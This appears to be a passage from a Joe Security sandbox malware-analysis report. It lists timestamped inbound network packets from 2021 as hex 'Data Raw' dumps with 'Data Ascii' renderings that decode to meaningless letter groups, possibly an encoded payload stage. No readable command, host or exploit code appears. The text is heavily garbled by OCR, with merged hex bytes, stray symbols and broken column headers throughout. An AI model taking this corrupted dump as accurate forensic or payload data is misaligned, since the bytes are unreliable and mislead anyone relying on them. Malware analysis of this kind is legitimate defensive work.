DW X WO Wm Mm JM XO gqOM qqJ WD JX mO mO JgE mO qqE qOM qgp Jp JIm JWW Wm

2021-10-29 18:29:04 UTC 72 IN Data Raw: 6d 20 58 6d 20 71 71 6d 20 71 4f 44 20 71 71 4d 20 58 58 20 4d 44 20 6d 58 20 57 4f 20 44 4f 20 45 57 20 71
4f 71 20 4a 6d 58 20 57 57 20 71 71 4a 20 57 4f 20 6d 4d 20 4a 70 20 4a 70 4f 20 71 70 4f 20 71 71 6d 20 71 71 45 20 71
4f 57 20 58 58 20 57 20 6d 58 20 57 4f 20 44 4f 20 70 4d 20 45 6d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4a 44 20 4a 45
2057 4f 20 57 6d 20 4d 6d 20 4d 45 20 71 4a 57 20 71 4f 45 20 70 20 71 4d 4d 20 6d 58 20 57 4f 20 6d 58 20 45 71 20 71
7158 20 71 4f 4f 20 71 4f 57 20 4d 58 20 57 71 20 4a 6d 20 4a 71 4d 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 70 71
2071 71 4a 20 57 4f 20 57 6d 20 70 57 20 57 4f 20 44 45 20 4a 57 57 20 6d 45 20 71 4f 4d 20 71 71 4a 2057 71 20 4a 71
2070 44 20 6d 71 20 71 4a 44 20 4a 70 4d 20 44 20 58 57
Data Ascii: m Xm qgm qOD gqgM XX MD mX WO DO EW qOg JmX WW ggqJ WO mM Jp JpO gpO gqgm gqE qOW XX W
mX WO DO pM Em qqE qOM ¢JJ JD JE WO Wm Mm ME qJW qOE p gMM mX WO mX Eq gqgqX qOO qOW MX Wq Jm Jq
M Wm Xm gJO JD gpg qgqJ WO Wm pW WO DE JWW mE qOM qqJ Wq Jg pD mq qJD JpM D XW

2021-10-29 18:29:04 UTC 76 IN Data Raw: 45 20 57 4f 20 45 4f 20 71 4a 6d 20 71 45 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 44 6d 20 6d 71 20 57 44 20
57 6d 20 70 44 20 71 4a 20 71 4f 45 20 71 4f 4d 20 71 71 4a 20 57 44 20 4d 57 20 6d 57 20 57 6d 20 58 6d 20 71 4a 4f 20
4520 70 6d 20 71 4a 4a 20 57 4f 20 44 6d 20 44 6d 20 45 70 20 4d 6d 20 71 71 6d 20 57 20 71 4d 20 71 71 4f 20 57 4f 20
6d 58 20 57 44 20 70 4f 20 4557 20 71 71 6d 20 71 71 45 20 71 4f 70 20 58 58 20 71 71 20 6d 58 20 57 4f 20 44 4f 20 57
4d 20 71 70 4f 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 70 20 44 44 20 71 58 4d 20 44 4f 20 58 6d 20 4a 20 45 20 71 6d
4a 20 71 4a 4a 20 57 4f 20 44 6d 20 45 44 20 6d 4f 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 71 71 71 20 57 4f 20 6d
58 20 57 44 20 70 4f 20 45 44 20 71 71 6d 20 71 71 45 20
Data Ascii: E WO EO gJm gE qgqE qOM gqJJ Dm mg WD Wm pD qJ qOE qOM gqgJ WD MW mW Wm Xm gJO E pm gJJ
WO Dm Dm Ep Mm ggm W gM ggO WO mX WD pO EW qgm ggE qOp XX gqgq mX WO DO WM qgpO qqE qOM qgX Jp DD
gXM DO Xm J E gmJ qJJ WO Dm ED mO Xm gqgm gJE DM gqgqq WO mX WD pO ED qgm qqE

2021-10-29 18:29:04 UTC 80 IN Data Raw: 6d 58 20 57 4f 20 57 4a 20 6d 45 20 58 44 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4d 71 20 4d 57 20 71 4d 4a
2057 6d 20 58 6d 20 71 4a 4f 20 4a 71 57 20 58 57 20 4a 4a 44 20 57 4f 20 6d 58 20 57 4f 20 57 4a 20 6d 45 20 71 4f 4a
2071714520 71 4f4d 20 71 71 44 20 57 70 20 57 44 20 71 4f 44 20 71 58 57 20 71 4f 4f 20 71 71 6d 20 71 71 4520 71
71712071 71 20 4a 45 20 6d 58 20 57 4f 20 57 4f 20 44 4d 20 71 4a 57 20 71 4f 44 20 4d 45 20 4a 57 70 20 71 4f 6d 20
6d 58 20 57 4f 20 57 57 20 71 71 70 20 71 44 4a 20 71 70 57 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 6d 20 57 20 57 6d
20 58 6d 20 71 4a 4f 20 44 20 58 57 20 71 71 4a 20 57 4f 20 57 58 20 4a 44 20 58 58 20 58 6d 20 71 71 6d 20 71 4a 45
207171712071 71 20 70 6d 20 6d 58 20 57 4f 20 57 4f 20 44
Data Ascii: mX WO WJ mE XD qqE qOM qgD Mg MW gMJ Wm Xm gJO JgW XW JID WO mX WO WJ mE qOJ qqE qOM
gD Wp WD qOD gXW qOO ggm qqE ggq qq JE mX WO WO DM qJW gOD ME JWp gOm mX WO WW qqgp qDJ qpW ¢
OM gqgJ Wm Jm W Wm Xm gqJO D XW ggJ WO WX JD XX Xm qgm gJE qqg qq pm mX WO WO D

2021-10-29 18:29:04 UTC 84 IN Data Raw: 4f 20 71 71 4a 20 57 4f 20 57 58 20 44 57 20 71 6d 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 70 4f 20 57
4f 20 6d 58 20 57 44 20 57 4a 20 6d 45 20 4d 58 20 71 71 45 20 71 4f 4d 20 71 71 44 20 70 57 20 57 58 20 70 57 20 57
4d 20 71 4a 20 4d 4d 20 71 4a 70 20 71 4a 70 20 4a 70 4f 20 71 4f 44 20 70 70 20 44 4f 20 70 70 20 71 4d 6d 20 6d 4a 20
71 4f 4f 20 4d 4d 20 71 4f 6d 20 71 44 6d 20 71 4f 6d 20 70 57 20 57 44 20 45 45 20 4a 4a 58 20 6d 57 20 6d 20 4d 45 20
44 4f 20 6d 4a 20 71 44 6d 20 4d 57 20 57 4d 20 71 4a 58 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 45 4d 20 4a 6d 20 57 4f
20 57 6d 20 58 4f 20 45 6d 20 4a 70 57 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 4f 20 45 70 20 57 45 20 58 6d 20 71 71 6d
2071717020717145204a4420712071 715820 6d58
Data Ascii: O gqJ WO WX DW gm Xm gqgm qJE DM pO WO mX WD WJ mE MX qqE qOM qgD pW WX pW WM gJ MM
qJp qJdp JpO qOD pp DO pp gMm mJ gOO MM gOm gDm gOm pW WD EE JIX mW m ME DO mJ gDm MW WM qJX qqE
qOM gJJ EM Jm WO Wm XO Em JpW qOM ggqJ WO WO Ep WE Xm qgm qgp qqE JD g qgX mX

2021-10-29 18:29:04 UTC 88 IN Data Raw: 58 4a 20 57 4f 20 57 6d 20 4d 6d 20 58 58 20 4d 4d 20 71 71 4f 20 71 4f 6d 20 4a 4f 6d 20 6d 4d 20 4a 6d 20
57 6d 20 58 6d 20 71 4f 57 20 44 4d 20 71 4f 6d 20 71 71 4a 20 44 45 20 6d 58 20 57 4f 20 57 6d 20 71 71 71 20 71 71 6éd
207171452071 4a6d 20 71 7157 20 4d 70 20 71 57 70 20 57 71 20 57 6d 20 58 4a 20 71 4f 71 20 4a 6d 58 20 57 70
20 7171 4a 20 57 4f 20 6d 4d 20 4a 70 20 70 4a 20 70 58 20 71 45 4a 20 71 71 6d 20 71 4f 4d 20 4f 20 71 6d 6d 20 70 4d
20 4d 70 20 71 4a 4f 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 70 20 70 20 57 71 20 6d 4d 20 57 4f 20 44 4f 20 58 4a 20
71 4f 4f 20 4a 70 4d 20 71 4f 45 20 71 4f 70 20 71 44 58 20 4a 6d 20 58 71 20 57 6d 20 58 6d 20 71 4a 4f 20 4d 70 20 71
71712071 71 70 20 57 4f 20 57 58 20 44 57 20 57 70 20 58
Data Ascii: XJ WO Wm Mm XX MM ggqO qgOm JOm mM Jm Wm Xm qOW DM gqOm gqJ DE mX WO Wm qqqg gqgm qqE
gJm qqW Mp gWp Wgq Wm XJ qOq JmX Wp gqgJ WO mM Jp pJ pX gEJ ggm qOM O gmm pM Mp qJO Xm gqgm gJE qOp p
Wg mM WO DO XJ gOO JpM gqOE qOp gDX Jm Xg Wm Xm gqJO Mp qqq qgp WO WX DW Wp X
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:04 UTC 92 IN Data Raw: 20 71 71 4a 20 71 70 4d 20 71 4a 4f 20 44 45 20 57 4f 20 6d 58 20 6d 71 20 44 4a 20 71 4a 45 20 57 4d 20 71
712071 4a 70207171 70 20 57 4f 20 57 4a 20 4a 70 20 4a 45 20 44 45 20 58 6d 20 71 71 20 71 4a 71 20 71 71 70 20
57 4f 20 57 4a 20 4a 4f 6d 20 6d 58 20 45 4a 20 71 71 42 20 71 71 45 20 71 4f 45 20 70 20 6d 71 20 6d 4d 20 57 4f 20 44
4f 20 71 71 70 20 4a 6d 4a 20 4d 4d 20 71 4f 58 20 71 71 4a 20 57 6d 20 4a 6d 20 6d 57 20 57 6d 20 58 6d 20 58 4d 20
58 4f 20 44 6d 20 71 4a 6d 20 4a 4f 20 70 6d 20 6d 58 20 4a 4f 4f 20 44 57 20 44 57 20 71 71 45 20 71 4f 4d 20 71 4f 45
2057 58 20 4a 45 20 70 44 20 6d 58 20 71 45 4f 20 71 71 44 20 71 4f 4d 20 71 71 71 20 71 71 4a 20 57 4a 20 44 45 20 6
d 452057 57 20 58 6d 20 71 4a 4f 20 4d 70 20 45 45 20 71 71 4a
Data Ascii: qgJ gpM gJO DE WO mX mq DJ qJE WM qq qJp gqgp WO WJ Jp JE DE Xm qq qJq qgp WO WJ JOm mX EJ
qgJ qqE qOE p mg mM WO DO qgp JmJ MM gOX qgqJ Wm IJm mW Wm Xm XM XO Dm gJm JO pm mX JOO DW DW
qgE qgOM qOE WX JE pD mX gEO qgD qOM qgq gqJ WJ DE mE WW Xm qJO Mp EE qqJ

2021-10-29 18:29:04 UTC 95 IN Data Raw: 45 20 4a 4f 45 20 58 57 20 70 45 20 70 4d 20 70 58 20 70 4f 20 4a 70 4a 20 71 71 6d 20 71 71 45 20 71 4f 70
20 4a 71 4f 20 4a 70 20 6d 4f 20 70 45 20 70 6d 20 71 4a 6d 20 4a 4f 44 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 71 6d 6d
20 4a 71 20 6d 70 20 70 4a 20 44 6d 20 4d 4f 20 4a 4f 71 20 71 4f 4d 20 71 71 4a 20 57 44 20 71 6d 44 20 4a 44 20 71 70
4d 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 6d 4d 20 57 71 20 6d 58 20 57 44 20 71 58 4a 20 45 70 20 71 71 57 20
71714520 71 4f 57 20 71 6d 20 6d 45 20 6d 4d 20 57 4f 20 57 4f 20 6d 45 20 6d 58 20 71 71 44 20 71 4f 4d 20 71 4a 4a
204544 20 6d 57 20 57 71 20 57 6d 20 58 4f 20 71 4a 4a 20 4d 4d 20 71 4a 70 20 70 20 71 71 70 20 6d 4d 20 57 4f 20
44 4f 20 44 44 20 71 4f 4f 20 44 20 6d 44 20 71 71 70 20 57 4f
Data Ascii: E JOE XW pE pM pX pO JpJ qgm qgE qOp JgqO Jp mO pE pm qJm JOD qqE qOM gJJ gmm Jg mp pJ Dm MO
JOg qOM qgJ WD gmD JD gpM Xm ggm gqJE DM mM Wq mX WD gXJ Ep qqW gqE gOW gm mE mM WO WO mE mX
qgD qOM gJJ ED mW Wq Wm XO gJJ MM qJp p ggp mM WO DO DD qOO D mD gqgp WO

2021-10-29 18:29:04 UTC 100 IN Data Raw: 45 20 6d 58 20 6d 4d 20 44 4f 20 58 6d 20 71 71 6d 20 71 71 44 20 71 71 71 20 71 71 4a 20 4a 58 20 6d 58 20
71 4158 20 71 58 44 20 58 6d 20 71 4a 4f 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 4f 20 57 4f 20 71 45 20 58
6d 20 70 20 4a 70 45 20 71 4f 4d 20 71 4a 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 44 20 71 71 6d 20 58 57 20 71 4f
4d 20 4a 6d 6d 20 71 57 4f 20 6d 58 20 57 44 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57
4a 20 6d 58 20 71 57 4a 20 71 70 6d 20 58 6d 20 71 71 70 20 71 4a 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 6d 70 20 4a
2057 71 20 58 6d 20 71 44 57 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 4a 71 20 6d 58 20 57 4f 20 70 4d 20 70 4d 20 4
a 714420717145 20 71 4f 4d 20 71 4a 4a 20 57 44 20 44 44 20
Data Ascii: E mX mM DO Xm ggm ggD gqq ggJ JIX mX qOX gXD Xm gJO qqE qOM qgJ WO WO WO gE Xm p JpE qOM
qJJ WO mX WO Wm XD ggm XW gqOM Jmm gWO mX WD Wm Xm gqgm gqE qOM gqgqJ WJ mX qWJ gpm Xm qgp qJE
qOM gqJ Wg mp J Wg Xm gDW gqqE qOM qgJ gJg mX WO pM pM JqD qgqE qOM gqJJ WD DD

2021-10-29 18:29:04 UTC 104 IN Data Raw: 57 4f 20 6d 58 20 57 4f 20 71 57 20 58 6d 20 71 71 6d 20 71 71 45 20 44 6d 20 71 71 70 20 57 4f 20 6d 58 20
58 6d 20 57 57 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20
7171 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4a 20 6d 58 20 57 4f 20 57 6d 20 57 44 20 71 71 57 20 71 71 45 20
71 4f 4d 20 4a 20 57 71 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 70 20 71 71 4a 20 57 4f 20
6d 4d 20 6d 71 20 44 20 58 71 20 71 71 6d 20 4a 6d 4f 20 71 71 71 20 71 71 4a 20 57 4f 20 71 4a 45 20 57 4f 20 57 6d 20
44 4d 20 71 20 4a 71 4f 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 58 20 71 58 20 71 58 45 20 58 6d 20 71 71 6d 20 71 71
45 20 4a 4a 6d 20 6d 4a 20 57 4f 20 6d 58 20 57 71 20 71 4d 20
Data Ascii: WO mX WO gW Xm ggm ggE Dm ggp WO mX Xm WW Xm gqgm gJE qOM ggJ WO mX WO Wm Xm qgm qqE
qOM ggqJ WJ mX WO Wm WD qqW qqE qgOM J Wq mX WO Wp Xm ggm qqE qOp qqJ WO mM mq D Xqg ggm JmO qqq
qqJ WO gJE WO Wm DM g JqO qOM qgJ WD WX gX gXE Xm ggm gqgE JJm mJ WO mX Wq qM

2021-10-29 18:29:04 UTC 108 IN Data Raw: 6d 20 58 6d 20 71 71 4a 20 71 71 45 20 70 44 20 71 71 4a 20 71 45 58 20 4a 6d 4d 20 57 4f 20 44 4f 20 58 6d
207171 6d 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 71 6d 20 57 4f 20 71 44 57 20 71 4a 4d 20 71 71 6d 20 71
4a 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 4a 20 71 71 6d 20 71 45 6d 20 71 6d 4f 20 71 71
4a 20 6d 4d 20 57 58 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 4f 6d 20 71 71 4a 20 71 4f 58 20 6d 4d 20 57
4f 20 57 6d 20 6d 20 71 71 6d 20 71 71 45 20 71 4a 6d 20 70 20 71 6d 4d 20 6d 58 20 57 4f 20 44 4f 20 4d 6d 20 71 4f 4d
20 45 4f 20 4a 4a 6d 20 6d 4a 20 57 4f 20 6d 58 20 57 71 20 71 4d 20 71 70 4a 20 71 44 57 20 71 71 45 20 71 4f 4d 20 71
7144 20 4a 44 20 45 20 57 4f 20 57 6d 20 4d 6d 20 71 20
Data Ascii: m Xm qgJ qqE pD qgJ gEX JmM WO DO Xm ggm gqE qOM ggm WO ggm WO gDW gqJM qgm qJE qOM qqJ
WO mX WO Wm XJ qgm gEm gmO gqgJ mM WX WO Wm XW qOW DM gqOm ggJ gOX mM WO Wm m ggm qqE gJm p q
mM mX WO DO Mm qOM EO JJm mJ WO mX Wq gM gpJ gDW gqgE qOM qgD JD E WO Wm Mm q

2021-10-29 18:29:04 UTC 112 IN Data Raw: 71 4a 4f 20 4a 44 20 71 58 58 20 71 71 4a 20 57 4f 20 57 58 20 57 4a 20 6d 71 20 4d 4f 20 4a 57 57 20 6d 45
2071 4f 4d 20 71 71 4a 20 57 71 20 4a 71 20 4a 4a 44 20 4a 6d 57 20 58 6d 20 71 71 6d 20 71 71 70 20 44 4d 20 45 71
20 57 4f 20 6d 58 20 57 44 20 44 4d 20 71 4f58 20 71 71 6d 20 71 71 45 20 71 4f 70 20 70 71 20 4a 4a 45 20 6d 58 20 57
4f 20 44 4f 20 70 4d 20 4a 71 70 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 57 45 20 57 70 20 70 4f 20 44 4a 20 58 71 20 4a
57 4a20 58 4d 20 71 4f 57 20 71 71 44 20 6d 4d 20 71 20 6d 58 20 6d 4d 20 71 4a 44 20 71 71 6d 20 71 71 4d 20 44 4d
20 71 44 4a 20 57 4f 20 6d 58 20 57 44 20 57 58 20 44 44 20 71 4a 45 20 45 45 20 71 4a 6d 20 71 71 70 20 57 4f 20 6d 5
82057 58 20 44 70 20 4a 4f 44 20 4d 4520 71 71 70 20 71 4a 70
Data Ascii: qJO JD gXX qgqJ WO WX WJ mgq MO JWW mE qOM qqgJ Wq Jq JID JmW Xm gqgm gqgp DM Eq WO mX WD
DM gOX qgm qgE qOp pg JJE mX WO DO pM Jgp qqE qOM gJJ WE Wp pO DJ Xq JWJI XM qOW qgD mM g mX mM
gJD ggm qgM DM gDJ WO mX WD WX DD gJE EE gJm qgp WO mX WX Dp JOD ME qqp qJp

2021-10-29 18:29:04 UTC 116 IN Data Raw: 44 20 71 71 70 20 58 20 4d 6d 20 71 71 4a 20 57 4f 20 57 4a 20 4a 6d 20 6d 4f 20 58 44 20 4d 20 44 57 20 71
4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20 71 44 20 57 4a 20 58 45 20 71 57 20 44 57 20 71 4f 4d 20 71 71 4a 20 57 6d 20
4a 44 20 6d 6d 20 57 4a 20 6d 45 20 45 71 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 6d 20 71 58 20 6d 58 20 57 70 20
6d 7120 457120 71 71 4520 71 4f 4d 20 71 71 44 20 4a 6d 20 6d 44 20 6d 58 20 45 4520 4d 58 2071 71 6d 20 71 71 4
520 71 4f 57 20 4d 4f 20 71 44 20 57 4f 20 6d 4d 20 45 57 20 4d 58 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 6d 6
d 20 57 4f 20 45 70 20 71 20 58 6d 20 71 71 6d 20 71 71 70 20 45 71 20 58 4a 20 6d 58 20 57 71 20 45 4d 20 71 20 58 6d
2071716d2071 717020457120 71 71 4f 20 6d 58 20 45 57 20
Data Ascii: D qgp X Mm qgJ WO WJ Jm mO XD M DW qOM gqqJ Wm JD gD WJ XE gwW DW gqOM gqgJ Wm JD mm WJ mE
Eq qgE qOM qgD Jm gX mX Wp mqg Eq qqE qOM ggD Jm mD mX EE MX gqgm qqE gOW MO gD WO mM EW MX gqgm
gqqE qOW MO mm WO Ep g Xm qgm qgp Eq XJ mX Wq EM g Xm qgm qqp Eq qgO mX EW

2021-10-29 18:29:04 UTC 120 IN Data Raw: 71 4a 20 57 4f 20 57 58 20 4a 6d 20 6d 4f 20 58 44 20 4d 20 4d 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20
7144 20 57 4a 20 58 45 20 71 57 20 4d 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20 6d 6d 20 57 4a 20 6d 45 20 71 57
207171 4520 71 4f 4d 20 71 71 44 20 4a 6d 20 71 58 20 6d 58 20 57 70 20 6d 71 20 71 57 20 71 71 45 20 71 4f 4d 20
71 71 44 20 4a 6d 20 6d 44 20 6d 58 20 45 45 20 6d 4a 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 71 44 20 57 4f 20
6d 4d 20 45 57 20 6d 4a 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 6d 6d 20 57 4f 20 4a 44 20 58 6d 20 58 6d 20 71
71 6d 20 71 4a 45 20 45 71 20 71 71 4f 20 6d 58 20 45 57 20 45 45 20 57 6d 20 58 6d 20 71 71 58 20 4d 57 20 45 4d 20 7
171 6d 20 6d 4d 20 45 45 20 45 45 20 57 6d 20 58 6d 20 71 71 58
Data Ascii: gJ WO WX Jm mO XD M M qOM qgJ Wm JD gD WJ XE gW M qOM gqgqJ Wm JD mm WJ mE qW gqE qOM
qgD Jm gX mX Wp mqg gW gqgE qOM ggD Jm mD mX EE mJ qgm qgE qOW MO gD WO mM EW mJ ggm qqE gOW MO
mm WO JD Xm Xm gqgm gqJE Eq qqO mX EW EE Wm Xm gqgX MW EM gqgm mM EE EE Wm Xm qgX
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Timestamp transferred

2021-10-29 18:29:04 UTC 124

2021-10-29 18:29:04 UTC 127

2021-10-29 18:29:04 UTC 132

2021-10-29 18:29:04 UTC 136

2021-10-29 18:29:04 UTC 140

2021-10-29 18:29:04 UTC 144

2021-10-29 18:29:04 UTC 148

2021-10-29 18:29:04 UTC 152

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 20 71 44 4d 20 71 45 4d 20 71 71 57 20 4a 4f 20 4a 70 58 20 57 4f 20 70 44 20 58 44 20 4d 4f 20 4a 71 57 20
71 4f58 20 71 71 4a 20 57 44 20 71 4f 20 71 4a 4f 20 4a 4f 71 20 71 45 71 20 71 6d 71 20 71 45 71 20 4d 4d 20 4d 58 20
6d 58 20 4a 4f 44 20 70 44 20 71 71 6d 20 58 6d 20 71 71 6d 20 71 71 4f 20 4a 20 71 4a 70 20 57 4f 20 6d 58 20 57 44 20
4270 6d 20 58 44 20 71 20 4a 70 58 20 71 4f 58 20 71 71 4a 20 57 4a 20 70 57 20 57 58 20 70 4d 20 4d 4a 20 4d 4f 20
4d 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 57 20 4d 70 20 71 45 45 20 58 6d 20 71 71 6d 20 71 4a 45 20 4a 20 4f 20 57 4f
20 6d 58 20 57 44 20 58 4d 20 4a 6d 44 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 45 20 57 58 20 6d 45 20 4a 4f 20 71
58 4520 71 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 57 20

Data Ascii: gDM gEM gqW JO JpX WO pD XD MO JgW gqOX ggJ WD gO qJO JOq gEg gmq gEq MM MX mX JOD pD qq
m Xm ggm qqO J gJp WO mX WD Jpm XD q JpX qOX gqJ WJ pW WX pM MJ MO M qOM gqgJ WD WW Mp gEE Xm

qgm gJE J O WO mX WD XM JmD gqgqW qqE qOE ME WX mE JO gXE gm qgm gqE qOX XW

Data Raw: 20 57 6d 20 71 70 4f 20 45 58 20 71 71 44 20 71 71 45 20 45 45 20 71 71 44 20 71 70 6d 20 6d 4a 20 4a 4d 20
57 6d 20 6d 71 20 45 4f 20 71 71 45 20 71 4f 4d 20 71 71 58 20 57 4f 20 4a 6d 57 20 4a 4d 20 45 4f 20 71 4a 4f 20 71 71
4420 71 71 45 20 45 71 20 58 4a 20 44 44 20 4a 58 20 57 4a 20 57 6d 20 71 70 6d 20 71 71 70 20 57 20 44 57 20 71 71
58 20 57 4f 20 71 6d 4f 20 57 4a 20 45 4f 20 71 4a 4f 20 71 71 44 20 71 71 45 20 4a 70 58 20 58 57 20 71 6d 45 20 57 20
44 4f 20 57 6d 20 4a 57 4f 20 44 45 20 71 6d 57 20 45 4f 20 71 71 58 20 57 4f 20 71 4d 58 20 71 20 45 58 20 71 71 4f 20
71714420 71 71 45 20 4a 6d 6d 20 58 4f 20 44 44 20 4a 58 20 44 4f 20 57 6d 20 71 58 57 20 71 4f 4d 20 71 6d 57 20 45
4f 20 71 71 58 20 57 4f 20 71 57 70 20 4a 20 71 4d 58 20 45

Data Ascii: Wm gqpO EX qgD qqE EE qgD gpm mJ JM Wm mg EO qgE qOM ggX WO JmW JM EO gJO qgD qgE Eqg XJ
DD JX WJ Wm gpm qgp W DW ggX WO gmO WJ EO qJO qqD gqgE JpX XW gmE W DO Wm JWO DE gmW EO qgX WO
qMX g EX qgqO ggD qgE Jmm XO DD JX DO Wm gXW gOM gmW EO qgX WO qWp J gMX E

Data Raw: 4f 20 6d 4d 20 57 71 20 57 6d 20 58 6d 20 71 58 57 20 45 70 20 71 4f 4d 20 71 71 4a 20 4d 57 20 6d 58 20 57
4d 20 57 6d 20 4a 71 70 20 71 71 6d 20 4a 6d 6d 20 71 4f 4d 20 4d 44 20 57 4f 20 71 58 6d 20 71 45 20 57 6d 20 58 6d
204d 7120 71 71 45 20 71 4f 4f 20 71 71 4a 20 71 58 70 20 6d 58 20 71 45 4d 20 57 57 20 44 58 20 71 71 6d 20 44 6d
20 6d 44 20 71 71 4a 20 57 4f 20 4a 57 20 57 4f 20 44 71 20 58 6d 20 4a 6d 4d 20 71 71 4520 4a 7044 20717170207
0 6d 20 6d 58 20 71 58 6d 20 45 20 58 6d 20 71 71 6d 20 4d 4a 20 71 4f 4d 20 71 4a 70 20 57 4f 20 71 58 58 20 57 4f 20
7158 70 20 58 57 20 4d 58 20 71 71 45 20 71 4d 71 20 58 58 20 57 4f 20 6d 58 20 4a 45 20 57 6d 20 4d 57 20 71 71 6d
20 4a 6d 58 20 71 4f 4d 20 4a 6d 71 20 57 71 20 70 4a 20 57 4f 20 71

Data Ascii: O mM Wgq Wm Xm gXW Ep gOM ggqJ MW mX WM Wm Jgp ggm Jmm gOM MD WO gXm qgE Wm Xm Mq qqE
qO0 qgJ gXp mX gEM WW DX ggm Dm mD qgqJ WO JW WO Dg Xm JmM qgE JpD qgp pm mX gXm E Xm qgm MJ qOM
gJp WO gXX WO gXp XW MX qgE gMg XX WO mX JE Wm MW ggm JmX qOM Jmqg Wq pJ WO q

Data Raw: 71 4f 20 71 4a 70 20 71 71 45 20 71 4f 4d 20 6d 71 20 57 71 20 4a 4f 20 57 71 20 71 4d 20 58 44 20 4d 45 20
71714420 71 4f 4d 20 71 71 4a 20 45 71 20 44 70 20 57 4f 20 57 6d 20 71 70 20 71 71 57 20 58 71 20 71 4f 58 20 58 57
20 6d 58 20 70 57 20 57 71 20 57 6d 20 58 6d 20 4a 6d 44 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 4f 45 20 6d 4d 20
4a4a2057 57 2071 71 70 20 71 71 4a 20 71 4f 4a 20 71 4f 58 20 71 71 4a 20 57 4f 20 57 70 20 57 57 20 57 6d 20 58 6d
20 6d 70 20 71 71 44 20 45 70 20 71 71 70 20 4a 70 20 57 4f 20 70 70 20 57 57 20 58 6d 20 71 71 6d 20 4a 70 71 20 4d
5820 71 71 4a 20 57 4f 20 71 4f 57 20 57 71 20 71 58 20 58 57 20 58 45 20 71 71 4d 20 71 4a 44 20 71 71 70 20 57 4f 20
6d 58 20 4a 6d 4a 20 57 6d 20 58 6d 20 71 71 6d 20 6d 6d 20 71

Data Ascii: O qJp qqE gOM mq Wgq JO Wg gM XD ME qqD qOM qgJ Eq Dp WO Wm gp qgqW Xg gOX XW mX pW Wq
Wm Xm JmD qgE qOM ggJ gOE mM JJ WW qqp gqJ qOJ gOX qqd WO Wp WW Wm Xm mp qgD Ep qgp Jp WO pp WW
Xm gqgm Jpg MX gqd WO qOW Wq gX XW XE qgM gJD ggp WO mX JmJ Wm Xm ggm mm g

Data Raw: 20 6d 44 20 71 6d 6d 20 58 6d 20 71 71 57 20 71 71 45 20 6d 70 20 71 4f 58 20 57 4a 20 70 70 20 57 71 20 57
6d 20 6d 6d 20 71 71 71 20 71 4f 20 71 4a 6d 20 71 71 70 20 57 4f 20 71 44 4a 20 6d 45 20 71 6d 6d 20 58 6d 20 44 57
207171 44 20 4a4a4a 2071 4a442071584a2070 702071205757 20 71 4a 20 4d 58 20 4a 57 4a 20 71 4a 6d 20
44 45 20 57 71 20 44 6d 20 70 58 20 71 45 58 20 44 4d 20 44 57 20 7171 4420 71 71 42071 71 4d 20 71 58 58 20 70 7
0207120575720 71 45 6d 20 71 4a 45 20 4a 70 4f 20 71 4a 6d 20 44 45 20 57 71 20 71 4d 44 20 57 44 20 71 45 6d 20
44 4d 20 4457 2071 71 44 20 4a 70 71 20 71 4a 44 20 71 45 57 20 70 70 20 71 20 57 57 20 4a 71 70 20 4d 58 20 4a 71
57 20 71 4a 6d 20 44 45 20 57 71 20 4a 57 4a 20 44 71 20 71 6d 57 20

Data Ascii: mD gmm Xm qqW gqqE mp qOX WJ pp Wg Wm mm qqq qO gJm ggp WO gDJ mE gmm Xm DW qqD JJJ qJD
gXJ pp g WW qJ MX JWJ gJm DE Wq Dm pX gEX DM DW qqD gqO qgM gXX pp g WW gEm gJE JpO gqJm DE Wq gMD
WD gEm DM DW qqgD Jpg qJD gEW pp g WW Jgp MX JqW gJm DE Wq JWJ Dg gmW

Data Raw: 45 58 20 71 71 70 20 57 4f 20 44 20 57 4f 20 58 4a 20 71 4f 4d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71
4a 20 71 44 6d 20 6d 58 20 71 4d 57 20 4d 20 71 58 4f 20 4d 45 20 44 45 20 71 4f 4d 20 71 4d 4a 20 71 71 20 6d 58 20
57 4f 20 57 6d 20 58 6d 20 4a 4a 4520 71 71 45 20 71 57 44 20 45 4d 20 4a 71 70 20 70 57 20 71 4f 20 57 6d 20 71 4a
